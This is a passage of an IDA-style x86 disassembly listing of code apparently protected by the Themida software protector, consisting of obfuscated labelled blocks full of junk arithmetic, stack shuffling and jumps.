		pop	ebp
		jmp	loc_570C7E
; ---------------------------------------------------------------------------


loc_56A138:				; CODE XREF: sub_562ABA+8501j
		or	bl, 22h
		add	bl, 27h
		add	bl, 7Ch
		shr	bl, 4
		neg	bl
		push	eax
		mov	al, 48h
		or	al, 0F1h
		sub	al, 10h
		sub	bl, al
		pop	eax
		xor	cl, bl
		jmp	loc_566753
; ---------------------------------------------------------------------------


loc_56A157:				; CODE XREF: sub_562ABA+C08Cj
		pop	ebx
		add	esp, 4
		push	edi
		jmp	loc_565FCF
; ---------------------------------------------------------------------------


loc_56A164:				; CODE XREF: sub_562ABA+4D54j
		mov	ecx, 737E3BF1h
		mov	edx, ecx
		pop	ecx
		and	ebx, edx
		pop	edx
		sub	ebx, 603629A0h
		push	7A5h
		mov	[esp+26h+var_28+2], edi
		mov	edi, ebx
		jmp	loc_5657F5
; ---------------------------------------------------------------------------


loc_56A184:				; CODE XREF: sub_562ABA+1116j
		mov	ebp, 63E10D84h
		sub	edx, 7B65306Fh
		jmp	loc_56803C
; ---------------------------------------------------------------------------


loc_56A194:				; CODE XREF: sub_562ABA-F62j
		push	ecx
		mov	ecx, 57162A5Fh
		sub	ecx, 26D8CE88h
		sub	edi, ecx
		jmp	loc_570AB7
; ---------------------------------------------------------------------------


loc_56A1A7:				; CODE XREF: sub_562ABA+788Ej
		sub	al, 17h
		sub	al, ch
		add	al, 17h
		push	edx
		mov	dl, 3Ah
		push	bx
		mov	bh, 8Bh
		sub	dl, bh
		pop	bx
		dec	dl
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		mov	bh, 68h
		add	dl, bh
		mov	ebx, [esp+1Ch+var_1E+2]
		add	esp, 4
		sub	al, 23h
		jmp	loc_570D0D
; ---------------------------------------------------------------------------


loc_56A1D4:				; CODE XREF: sub_562ABA+4381j
		mov	ebp, esp
		push	edx
		mov	edx, 52C17D85h
		push	2979h
		mov	[esp+60h+var_62+2], eax
		jmp	loc_56DB5E
; ---------------------------------------------------------------------------


loc_56A1E9:				; CODE XREF: sub_562ABA+3467j
		add	edx, 693E2ABAh
		jmp	loc_571761
; ---------------------------------------------------------------------------


loc_56A1F4:				; CODE XREF: sub_562ABA+D305j
		add	ebx, 21FABB49h
		sub	esi, ebx
		pop	ebx
		push	dword ptr [esp+0]
		mov	edi, [esp+28h+var_28]
		jmp	loc_56E5F4
; ---------------------------------------------------------------------------


loc_56A208:				; CODE XREF: sub_562ABA+A13Bj
		push	ecx
		mov	ecx, 477C698Bh
		jmp	loc_5674A4
; ---------------------------------------------------------------------------


loc_56A213:				; CODE XREF: sub_562ABA+E28Dj
		shl	dl, 6
		jmp	loc_56D74F
; ---------------------------------------------------------------------------


loc_56A21B:				; CODE XREF: sub_562ABA+A024j
		pop	ecx
		mov	ch, dl
		mov	edx, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_5716C1
; ---------------------------------------------------------------------------


loc_56A22C:				; CODE XREF: sub_562ABA+94BCj
		add	esi, edx
		jmp	loc_571BBF
; ---------------------------------------------------------------------------


loc_56A233:				; CODE XREF: sub_562ABA-35E3j
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	ebx
		jmp	loc_5662CE
; ---------------------------------------------------------------------------


loc_56A241:				; CODE XREF: sub_55FCA5+36Bj
		mov	word ptr [esp+1Eh+var_1E], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56A251:				; CODE XREF: sub_562ABA+C931j
		pop	dword ptr [esp+0]
		jmp	loc_572408
; ---------------------------------------------------------------------------


loc_56A259:				; CODE XREF: sub_562ABA+9295j
		mov	esp, [esp+20h+var_22+2]
		push	esp
		jmp	loc_561038
; ---------------------------------------------------------------------------


loc_56A262:				; CODE XREF: sub_572591+37j
		push	ebp
		mov	ebp, 3AAA14E4h
		jmp	loc_56C9F2
; ---------------------------------------------------------------------------


loc_56A26D:				; CODE XREF: sub_562ABA-1A4Bj
		pop	[esp+0Ah+var_C+2]
		jmp	loc_5690DA
; ---------------------------------------------------------------------------


loc_56A275:				; CODE XREF: sub_562ABA+640Cj
		mov	[esp+3Eh+var_3E], eax
		jmp	loc_55F9F7
; ---------------------------------------------------------------------------


loc_56A27D:				; CODE XREF: sub_562ABA+9D0Ej
		mov	ebx, 7AF124BFh
		add	eax, ebx
		pop	ebx
		pop	edx
		push	1312h
		jmp	loc_56445D
; ---------------------------------------------------------------------------


loc_56A290:				; CODE XREF: sub_562ABA+1306j
		push	ebp
		jmp	loc_56879D
; ---------------------------------------------------------------------------


loc_56A296:				; CODE XREF: sub_562ABA+322Ej
		add	ecx, 537B3122h
		add	ecx, 9DEFC501h
		sub	edi, 2B27199h
		jmp	loc_570067
; ---------------------------------------------------------------------------


loc_56A2AD:				; CODE XREF: sub_562ABA+D890j
		pop	edi
		add	esi, 4
		xchg	esi, [esp+22h+var_22]
		pop	esp
		jmp	loc_56F852
; ---------------------------------------------------------------------------


loc_56A2BD:				; CODE XREF: sub_562ABA+40B2j
		mov	[esp+3Ah+var_3A], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5671C0
; ---------------------------------------------------------------------------


loc_56A2CD:				; CODE XREF: sub_562ABA+45F5j
		mov	edx, eax
		mov	eax, [esp+3Eh+var_3E]
		add	esp, 4
		push	edi
		mov	edi, 9662BA8h
		and	edi, 755E61DEh
		not	edi
		not	edi
		xchg	ebp, edi
		not	ebp
		push	edi
		jmp	loc_56DB47
; ---------------------------------------------------------------------------


loc_56A2EF:				; CODE XREF: sub_562ABA+20CBj
		mov	eax, [esp+0]
		jmp	loc_56A3B4
; ---------------------------------------------------------------------------


loc_56A2F7:				; CODE XREF: sub_562ABA+9010j
		mov	esi, [esp+0]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55E2AE
; ---------------------------------------------------------------------------


loc_56A308:				; CODE XREF: sub_562ABA-DC3j
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_56495F
; ---------------------------------------------------------------------------


loc_56A311:				; CODE XREF: sub_55E4D4+EF5j
		push	esi
		mov	esi, 4
		sub	eax, 7CB2296Ch
		add	eax, esi
		jmp	loc_56371F
; ---------------------------------------------------------------------------


loc_56A323:				; DATA XREF: Themida_:0055DDE8o
		push	6DFEh
		mov	[esp+1Eh+var_1E], edx
		push	6A54h
		mov	[esp+22h+var_22], edi
		mov	edi, 7B2A0FE3h
		push	ebx
		mov	ebx, 84D5F41Dh
		jmp	loc_56A509
; ---------------------------------------------------------------------------


loc_56A343:				; CODE XREF: sub_562ABA+7C49j
		add	esp, 4
		add	al, 16h
		jmp	loc_56A1A7
; ---------------------------------------------------------------------------


loc_56A34D:				; CODE XREF: sub_562ABA-40ACj
		xor	eax, [esp+16h+var_16]
		xor	[esp+16h+var_16], eax
		xor	eax, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		mov	[esp+16h+var_16], ebx
		push	ebp
		push	2766h
		mov	[esp+1Eh+var_1E], edi
		mov	edi, 4E306108h
		or	edi, 5BA10280h
		xor	edi, 782C53DAh
		mov	ebp, edi
		mov	edi, [esp+1Eh+var_1E]
		add	esp, 4
		jmp	loc_563A8C
; ---------------------------------------------------------------------------


loc_56A383:				; CODE XREF: sub_55FCA5+21Dj
		push	ebp
		mov	ebp, 5B0574A1h
		add	eax, ebp
		pop	ebp
		add	eax, 52E1007Dh
		sub	eax, ebx
		push	ebp
		mov	ebp, 52E1007Dh
		sub	eax, ebp
		mov	ebp, [esp+1Eh+var_1E]
		push	edi
		jmp	loc_5605D8
; ---------------------------------------------------------------------------


loc_56A3A4:				; CODE XREF: sub_562ABA+A6BEj
		mov	ebx, 547360C3h
		or	ebx, 3625502Fh
		jmp	loc_563878
; ---------------------------------------------------------------------------


loc_56A3B4:				; CODE XREF: sub_562ABA+7838j
		add	esp, 4
		jmp	loc_56FE5B
; ---------------------------------------------------------------------------


loc_56A3BC:				; CODE XREF: Themida_:0055E671j
		push	edx
		mov	edx, 13D42A96h
		add	edx, 5E817E17h
		and	edx, 399119AEh
		sub	edx, 0FA1ADFCAh
		jmp	loc_56C3D6
; ---------------------------------------------------------------------------


loc_56A3D9:				; CODE XREF: sub_562ABA-42DBj
		pop	esi
		jmp	loc_57181C
; ---------------------------------------------------------------------------


loc_56A3DF:				; CODE XREF: sub_562ABA+1D4Ej
		shl	edi, 7
		xor	edi, 22BB276Ch
		jmp	loc_5674C7
; ---------------------------------------------------------------------------


loc_56A3ED:				; CODE XREF: sub_562ABA-4408j
		sub	ecx, 33C477EAh
		jmp	loc_571A49
; ---------------------------------------------------------------------------


loc_56A3F8:				; CODE XREF: sub_562ABA+6894j
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		jmp	sub_56017F
; ---------------------------------------------------------------------------


loc_56A404:				; CODE XREF: sub_562ABA+6A8Fj
		push	eax
		mov	eax, 5B5F5F2Dh
		jmp	sub_560757
; ---------------------------------------------------------------------------


loc_56A40F:				; CODE XREF: sub_55E85D+1Cj
		xchg	esi, [esp+12h+var_12]
		pop	esp
		or	eax, eax
		jnz	loc_56CD3D
		push	7C8Fh
		mov	[esp+12h+var_12], esi
		push	eax
		jmp	loc_562C26
; ---------------------------------------------------------------------------


loc_56A429:				; CODE XREF: sub_562ABA+25A1j
		push	69Ah
		mov	[esp+26h+var_28+2], eax
		jmp	loc_567235
; ---------------------------------------------------------------------------


loc_56A436:				; CODE XREF: sub_562ABA+CD52j
		push	ebx
		mov	ebx, 1704731Bh
		xchg	edi, ebx
		jmp	loc_5627F4
; ---------------------------------------------------------------------------


loc_56A443:				; CODE XREF: sub_562ABA+A1A9j
		xchg	ebx, edx
		push	ebx
		jmp	loc_566A42
; ---------------------------------------------------------------------------


loc_56A44B:				; CODE XREF: sub_562ABA+EE82j
		and	ebp, 0C5B1FFFh
		shr	ebp, 5
		neg	ebp
		add	ebp, 988B9BF4h
		sub	eax, ebp
		pop	ebp
		add	ebx, eax
		mov	eax, [esp+2Ah+var_2C+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		push	eax
		mov	eax, 74956054h
		dec	eax
		jmp	loc_563F00
; ---------------------------------------------------------------------------


loc_56A480:				; CODE XREF: sub_56017F+1291Dj
		mov	esi, [esp+0]
		push	edi
		jmp	loc_56850C
; ---------------------------------------------------------------------------


loc_56A489:				; CODE XREF: sub_562ABA+D6D2j
		mov	[esp+32h+var_32], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_56C189
; ---------------------------------------------------------------------------


loc_56A49E:				; CODE XREF: sub_562ABA+277Fj
		pop	edi
		add	ebx, 585F217h
		push	ebx
		pop	eax
		pop	ebx
		xor	ecx, eax
		mov	eax, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+32h+var_32]
		pop	esp
		xor	eax, ecx
		push	dword ptr [esp+0]
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_571ABD
; ---------------------------------------------------------------------------


loc_56A4CE:				; CODE XREF: Themida_:0055F08Cj
		push	esi
		mov	esi, esp
		jmp	loc_56B4E9
; ---------------------------------------------------------------------------


loc_56A4D6:				; CODE XREF: sub_562ABA-17A3j
		mov	ah, 31h
		add	ah, dl
		pop	edx
		add	bl, 3Fh
		sub	bl, ah
		sub	bl, 3Fh
		jmp	loc_56F125
; ---------------------------------------------------------------------------


loc_56A4E8:				; CODE XREF: sub_562ABA+5B58j
		mov	ebx, esp
		push	ebp
		push	esi
		push	17117ADAh
		pop	esi
		dec	esi
		or	esi, 694F296Dh
		jmp	loc_55FA25
; ---------------------------------------------------------------------------


loc_56A4FE:				; CODE XREF: sub_562ABA-1B1Bj
		add	ebp, eax
		pop	eax
		or	edx, ebp
		pop	ebp
		jmp	loc_55F4DC
; ---------------------------------------------------------------------------


loc_56A509:				; CODE XREF: sub_562ABA+7884j
		mov	edx, ebx
		jmp	loc_56E7C5
; ---------------------------------------------------------------------------


loc_56A510:				; CODE XREF: sub_562ABA+9C2Ej
		push	[esp+26h+var_22]
		jmp	loc_55E991
; ---------------------------------------------------------------------------


loc_56A519:				; CODE XREF: sub_562ABA+CF1Aj
		shr	esi, 5
		jmp	loc_568727
; ---------------------------------------------------------------------------


loc_56A521:				; CODE XREF: sub_562ABA+7F73j
		pop	edi
		add	ebx, eax
		jmp	loc_570E8D
; ---------------------------------------------------------------------------


loc_56A529:				; CODE XREF: sub_562ABA+8ED9j
		push	edx
		mov	edx, 22153CE7h
		jmp	loc_561501
; ---------------------------------------------------------------------------


loc_56A534:				; CODE XREF: sub_562ABA+3B0Aj
		add	ebx, 33385907h
		sub	ebx, ebp
		sub	ebx, 33385907h
		jmp	loc_5652AB
; ---------------------------------------------------------------------------


loc_56A547:				; CODE XREF: sub_562ABA+FA2j
		neg	ecx
		jmp	loc_562B3C
; ---------------------------------------------------------------------------


loc_56A54E:				; CODE XREF: sub_562ABA+6524j
		inc	esi
		and	esi, 37CE515Ch
		jmp	loc_55E7D7
; ---------------------------------------------------------------------------


loc_56A55A:				; CODE XREF: sub_562ABA+D6BDj
		xchg	eax, [esp+16h+var_16]
		pop	esp
		push	ecx
		mov	ecx, 334576C8h
		xchg	ebp, ecx
		push	ebp
		not	[esp+1Ah+var_1A]
		jmp	loc_56E05F
; ---------------------------------------------------------------------------


loc_56A56F:				; CODE XREF: sub_562ABA+72AEj
		push	7C9F72A4h
		mov	ebx, [esp+16h+var_16]
		add	esp, 4
		dec	ebx
		push	edx
		mov	edx, 34B51EC3h
		sub	ebx, edx
		pop	edx
		push	4576h
		mov	[esp+16h+var_16], ebp
		mov	ebp, 42E30C6Eh
		and	ebx, ebp
		jmp	loc_561D2E
; ---------------------------------------------------------------------------


loc_56A598:				; CODE XREF: sub_562ABA+47FAj
		or	eax, 58372C7Fh
		add	eax, 9F94CB44h
		xor	ebp, eax
		pop	eax
		sub	ecx, 6AA05C46h
		jmp	loc_56AEB0
; ---------------------------------------------------------------------------


loc_56A5B0:				; CODE XREF: sub_562ABA+C42Fj
		add	esp, 4
		shr	ebx, 1
		push	edi
		mov	edi, 4D3E2A59h
		sub	edi, 45CC85F9h
		sub	ebx, edi
		pop	edi
		mov	edx, ebx
		pop	ebx
		add	ebp, edx
		mov	edx, [esp+0]
		add	esp, 4
		xchg	ebp, [esp+2Ah+var_2C+2]
		pop	esp
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ecx
		jmp	loc_5654A8
; ---------------------------------------------------------------------------


loc_56A5E7:				; CODE XREF: sub_562ABA+D225j
		push	ebx
		mov	ebx, 371570BAh
		xor	edx, ebx
		pop	ebx
		xor	edx, ebx
		xor	ebx, edx
		jmp	loc_56CC60
; ---------------------------------------------------------------------------


loc_56A5F9:				; CODE XREF: sub_562ABA+1937j
		shr	ch, 1
		sub	ch, 0FFh
		sub	ch, 50h
		jmp	loc_565A93
; ---------------------------------------------------------------------------


loc_56A606:				; CODE XREF: sub_562ABA+98B3j
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], edx
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56A611:				; CODE XREF: sub_562ABA-13A7j
		pop	ebp
		add	esp, 4
		push	edi
		mov	edi, 0F092A4Ah
		add	ecx, edi
		mov	edi, [esp+26h+var_28+2]
		add	esp, 4
		add	ecx, eax
		sub	ecx, 0F092A4Ah
		push	edi
		mov	edi, 637E7FC5h
		sub	ecx, edi
		pop	edi
		mov	eax, [esp+22h+var_22]
		add	esp, 4
		push	2565h
		mov	[esp+22h+var_22], edi
		jmp	loc_561822
; ---------------------------------------------------------------------------


loc_56A64A:				; CODE XREF: sub_562ABA+B597j
		add	ebp, ecx
		jmp	loc_56AA7D
; ---------------------------------------------------------------------------


loc_56A651:				; CODE XREF: sub_562ABA+A484j
		push	esp
		jmp	loc_569607
; ---------------------------------------------------------------------------


loc_56A657:				; DATA XREF: Themida_:0055DFC0o
		push	dword ptr [edx]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56A65E:				; CODE XREF: sub_562ABA-13C8j
		mov	edi, [esp+26h+var_28+2]
		add	esp, 4
		push	ebx
		push	esi
		mov	esi, 27343C07h
		mov	ebx, esi
		pop	esi
		jmp	loc_567B1A
; ---------------------------------------------------------------------------


loc_56A673:				; CODE XREF: sub_562ABA-2E6Dj
		push	esp
		push	[esp+12h+var_12]
		pop	edi
		push	esi
		sub	esp, 4
		mov	[esp+1Ah+var_1A], esp
		jmp	loc_568BD5
; ---------------------------------------------------------------------------


loc_56A684:				; CODE XREF: sub_562ABA-3C8Cj
		mov	[esp+22h+var_22], esi
		jmp	loc_56B9E3
; ---------------------------------------------------------------------------


loc_56A68C:				; CODE XREF: sub_562ABA+1881j
		mov	esi, ebx
		push	46E6h
		mov	[esp+48h+var_4A+2], esi
		pop	edx
		mov	esi, [esp+44h+var_46+2]
		add	esp, 4
		jmp	loc_568672
; ---------------------------------------------------------------------------


loc_56A6A2:				; CODE XREF: sub_562ABA-2750j
		add	edx, 2
		xor	edx, [esp-6+arg_0+2]
		xor	[esp-6+arg_0+2], edx
		xor	edx, [esp-6+arg_0+2]
		jmp	loc_569BAE
; ---------------------------------------------------------------------------


loc_56A6B6:				; CODE XREF: sub_562ABA-266Dj
		mov	edi, edx
		jmp	loc_5709D7
; ---------------------------------------------------------------------------


loc_56A6BD:				; CODE XREF: sub_562ABA+D335j
		push	edx
		push	eax
		mov	ah, ch
		mov	dl, ah
		pop	eax
		mov	bl, dl
		jmp	loc_55E2D2
; ---------------------------------------------------------------------------


loc_56A6CB:				; CODE XREF: sub_562ABA+86CBj
		pop	esp
		sub	bl, 82h
		add	bl, dl
		jmp	loc_567DC4
; ---------------------------------------------------------------------------


loc_56A6D6:				; CODE XREF: sub_562ABA+4007j
		neg	edi
		not	edi
		add	edi, 5579743Ch
		xor	edi, 311EB60Bh
		sub	esi, edi
		jmp	loc_55F1F5
; ---------------------------------------------------------------------------


loc_56A6ED:				; CODE XREF: sub_562ABA+C338j
		add	ebx, edi
		mov	edi, [esp+3Ch+var_3E+2]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_56A97D
; ---------------------------------------------------------------------------


loc_56A700:				; CODE XREF: sub_562ABA+7306j
		mov	ebx, [esp+22h+var_22]
		jmp	loc_56A343
; ---------------------------------------------------------------------------


loc_56A708:				; CODE XREF: sub_562ABA+605Fj
		push	esi
		push	[esp-2+arg_0+2]
		pop	esi
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_56E011
; ---------------------------------------------------------------------------


loc_56A717:				; CODE XREF: sub_562ABA+48CCj
		add	esp, 4
		push	ax
		mov	al, 0FDh
		push	cx
		mov	ch, 14h
		push	cx
		mov	ch, 3
		sub	bl, ch
		pop	cx
		sub	bl, ch
		jmp	loc_567025
; ---------------------------------------------------------------------------


loc_56A731:				; CODE XREF: sub_562ABA+B956j
		xor	eax, 43C35E4Dh
		mov	edx, eax
		pop	eax
		inc	edx
		add	edx, 0FFFFFFFFh
		not	edx
		jmp	loc_568B02
; ---------------------------------------------------------------------------


loc_56A747:				; CODE XREF: sub_562ABA-47DEj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_56CBA6
; ---------------------------------------------------------------------------


loc_56A75A:				; CODE XREF: sub_562ABA+B462j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56A75F:				; CODE XREF: sub_55FCA5+1C2j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+0]
		pop	esp
		mov	edx, [esp-6+arg_0+2]
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, esp
		push	ebp
		jmp	loc_5699F2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56A792:				; CODE XREF: sub_562ABA+BC60j
		add	edx, 89774250h
		push	edx
		jmp	loc_562A31
; ---------------------------------------------------------------------------


loc_56A79E:				; CODE XREF: sub_562ABA+B280j
		inc	cl
		xchg	ah, cl
		xchg	dl, ah
		not	dl
		xchg	dl, ah
		xchg	ah, cl
		xor	cl, 0FAh
		not	cl
		sub	cl, 69h
		add	al, cl
		pop	ecx
		sub	al, bh
		sub	al, 2
		add	al, 0B5h
		jmp	loc_56A948
; ---------------------------------------------------------------------------


loc_56A7C0:				; CODE XREF: sub_562ABA+EEE3j
		mov	[esp+4+var_4], eax
		push	dword ptr [esp+4]
		jmp	loc_565F75
; ---------------------------------------------------------------------------


loc_56A7CC:				; CODE XREF: sub_562ABA-249Ej
		add	ebx, edx
		pop	edx
		add	ebx, edi
		sub	ebx, 52804082h
		sub	ebx, 370032D6h
		add	ebx, 22C86319h
		sub	ebx, 67E05C46h
		pop	edi
		jmp	loc_56D4BD
; ---------------------------------------------------------------------------


loc_56A7EF:				; CODE XREF: sub_562ABA+8D05j
		xchg	eax, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56A7FA:				; CODE XREF: sub_562ABA+F797j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ah+var_1A]
		pop	esp
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		add	ebp, 0CC03864Dh
		add	eax, 116127C0h
		add	eax, ebp
		sub	eax, 116127C0h
		jmp	loc_57010C
; ---------------------------------------------------------------------------


loc_56A825:				; CODE XREF: sub_562ABA-30j
					; sub_562ABA+4043j
		push	ebx
		push	eax
		add	[esp+2Ah+var_2C+2], 7B276505h
		pop	ebx
		sub	ebx, 7B276505h
		push	236Dh
		mov	[esp+2Ah+var_2C+2], ebp
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_55EF5F
; ---------------------------------------------------------------------------


loc_56A848:				; CODE XREF: sub_562ABA+F911j
		mov	edi, 5B3E15B9h
		jmp	loc_55EF9B
; ---------------------------------------------------------------------------


loc_56A852:				; CODE XREF: sub_562ABA+9830j
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_5674B6
; ---------------------------------------------------------------------------


loc_56A861:				; CODE XREF: sub_562ABA+B781j
		sub	al, dl
		add	al, 0DDh
		sub	al, 97h
		mov	edx, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_5696BA
; ---------------------------------------------------------------------------


loc_56A875:				; CODE XREF: sub_562ABA+5820j
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55E1B9
; ---------------------------------------------------------------------------


loc_56A884:				; CODE XREF: sub_562ABA+9CA0j
		push	dx
		push	esi
		mov	si, 5E6Bh
		or	si, 5581h
		sub	si, 99Ah
		push	ebp
		push	esi
		mov	si, 4F58h
		sub	si, 71EAh
		add	si, 22B9h
		and	si, 478Fh
		shl	si, 6
		jmp	loc_5601FC
; ---------------------------------------------------------------------------


loc_56A8B3:				; CODE XREF: sub_572C02+38j
		sub	edi, 0B3935E0h
		add	edi, 0F6324245h
		add	esi, edi
		jmp	loc_560425
; ---------------------------------------------------------------------------


loc_56A8C6:				; CODE XREF: sub_562ABA+E4E7j
		pop	edx
		jmp	loc_5695C7
; ---------------------------------------------------------------------------


loc_56A8CC:				; CODE XREF: sub_562ABA+D0Dj
		add	esp, 4
		jmp	loc_566297
; ---------------------------------------------------------------------------


loc_56A8D7:				; CODE XREF: sub_562ABA-441Bj
		add	ecx, 0CB097A9Dh
		and	eax, ecx
		pop	ecx
		shr	eax, 0Ah
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+1Ah+var_1A], edx
		push	esp
		jmp	loc_569306
; ---------------------------------------------------------------------------


loc_56A8F1:				; CODE XREF: sub_562ABA+EE94j
		pop	esi
		xchg	edx, [esp+1Ah+var_1A]
		jmp	loc_56DDBA
; ---------------------------------------------------------------------------


loc_56A8FA:				; CODE XREF: sub_562ABA+904j
		mov	edi, esp
		push	eax
		mov	eax, 4
		jmp	loc_57094A
; ---------------------------------------------------------------------------


loc_56A907:				; CODE XREF: sub_562ABA+93A2j
		add	esi, edx
		pop	edx
		and	esi, 42266118h
		not	esi
		push	eax
		mov	eax, 47680318h
		jmp	loc_56AD24
; ---------------------------------------------------------------------------


loc_56A91D:				; CODE XREF: sub_562ABA-21BAj
		push	6D4Fh
		mov	[esp+36h+var_36], edx
		push	esp
		pop	edx
		add	edx, 4
		push	7FA2h
		mov	[esp+3Ah+var_3A], ebp
		mov	ebp, 4
		jmp	loc_55EDEA
; ---------------------------------------------------------------------------


loc_56A93F:				; CODE XREF: sub_562ABA+10078j
		not	ecx
		not	ecx
		jmp	loc_561ABB
; ---------------------------------------------------------------------------


loc_56A948:				; CODE XREF: sub_562ABA+7D01j
		push	ecx
		mov	cl, 94h
		add	al, cl
		mov	ecx, [esp+8+var_8]
		jmp	loc_571125
; ---------------------------------------------------------------------------


loc_56A955:				; CODE XREF: sub_562ABA+5132j
		and	ebx, 24CE3718h
		jmp	loc_56CE25
; ---------------------------------------------------------------------------


loc_56A960:				; CODE XREF: sub_562ABA+3322j
		add	esp, 4
		sub	bl, al
		jmp	loc_56FD7A
; ---------------------------------------------------------------------------


loc_56A96D:				; CODE XREF: sub_562ABA+C962j
		mov	esp, [esp+0]
		jmp	loc_55F062
; ---------------------------------------------------------------------------


loc_56A975:				; CODE XREF: sub_562ABA+8931j
		mov	[esp+0], ebp
		jmp	loc_569250
; ---------------------------------------------------------------------------


loc_56A97D:				; CODE XREF: sub_562ABA+7C41j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56A982:				; CODE XREF: sub_562ABA+419Fj
		add	eax, 50D96411h
		neg	eax
		not	eax
		inc	eax
		neg	eax
		add	eax, 0D7F98103h
		mov	ebx, eax
		jmp	loc_567805
; ---------------------------------------------------------------------------


loc_56A99A:				; CODE XREF: sub_562ABA+4ABBj
		pop	ebp
		push	eax
		jmp	loc_560253
; ---------------------------------------------------------------------------


loc_56A9A1:				; CODE XREF: sub_562ABA+2B57j
		pop	esp
		pop	edx
		sub	edx, 30835413h
		jmp	loc_56A04D
; ---------------------------------------------------------------------------


loc_56A9AE:				; CODE XREF: sub_55F9E0+4j
		mov	bx, 7399h
		xor	word ptr [esp+6+var_4],	bx
		pop	bx
		pop	di
		xor	di, 7399h
		pop	ebx
		add	word ptr [esp-2+arg_0],	di
		mov	di, [esp+0]
		add	esp, 2
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56A9D2:				; CODE XREF: sub_562ABA+E24Ej
		pop	ebx
		add	esp, 4
		jmp	loc_562D35
; ---------------------------------------------------------------------------


loc_56A9DE:				; CODE XREF: sub_562ABA+11A6j
		dec	esi
		sub	esp, 4
		mov	[esp+36h+var_36], ebp
		mov	ebp, 5167697Eh
		or	ebp, 524607E2h
		jmp	loc_565349
; ---------------------------------------------------------------------------


loc_56A9F8:				; CODE XREF: sub_562ABA+1039j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4Ch+var_4E+2]
		pop	esp
		and	eax, ebp
		pop	ebp
		shr	eax, 8
		xor	eax, ecx
		push	3BE4h
		mov	[esp+48h+var_4A+2], eax
		xor	[esp+48h+var_4A+2], eax
		xor	eax, [esp+48h+var_4A+2]
		jmp	loc_5714B2
; ---------------------------------------------------------------------------


loc_56AA25:				; CODE XREF: sub_562ABA-48B7j
		sub	edi, 2F1A4670h
		add	eax, edi
		jmp	loc_56A521
; ---------------------------------------------------------------------------


loc_56AA32:				; CODE XREF: sub_562ABA+7015j
		pop	edx
		mov	ebp, esi
		pop	esi
		add	ebp, edx
		jmp	loc_56DB18
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Ah+var_1A]
		push	7BEBh
		mov	[esp+1Eh+var_1E], ecx
		push	esp
		pop	ecx
		push	eax
		push	ebx
		jmp	loc_56764A
; ---------------------------------------------------------------------------


loc_56AA52:				; CODE XREF: sub_562ABA+3916j
		add	eax, 0C808FE93h
		mov	edi, eax
		pop	eax
		push	edx
		mov	edx, 0D415D1Dh
		or	edi, edx
		jmp	loc_56EBDF
; ---------------------------------------------------------------------------


loc_56AA67:				; CODE XREF: sub_562ABA+A208j
		mov	[esp+12h+var_12], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+16h+var_16]
		jmp	loc_56F3DB
; ---------------------------------------------------------------------------


loc_56AA76:				; CODE XREF: sub_562ABA-163Fj
		neg	ecx
		jmp	loc_55E699
; ---------------------------------------------------------------------------


loc_56AA7D:				; CODE XREF: sub_562ABA+7B92j
		pop	ecx
		xor	ebp, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], ebp
		jmp	loc_55E952
; ---------------------------------------------------------------------------


loc_56AA89:				; CODE XREF: sub_562ABA+2361j
		xor	ebx, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		rol	word ptr [esp+36h+var_36], cl
		pushf
		jmp	loc_5701A4
; ---------------------------------------------------------------------------


loc_56AA99:				; CODE XREF: sub_562ABA+7D6j
		pop	ecx
		jmp	loc_570C75
; ---------------------------------------------------------------------------


loc_56AA9F:				; CODE XREF: sub_562ABA+3CBAj
		xchg	ebp, [esp+0]
		jmp	loc_56FB50
; ---------------------------------------------------------------------------


loc_56AAA7:				; CODE XREF: sub_562ABA-169j
		mov	esp, [esp+2Ah+var_2C+2]
		jmp	loc_560297
; ---------------------------------------------------------------------------


loc_56AAAF:				; CODE XREF: sub_562ABA+4987j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+1Ah+var_1A]
		pop	esp
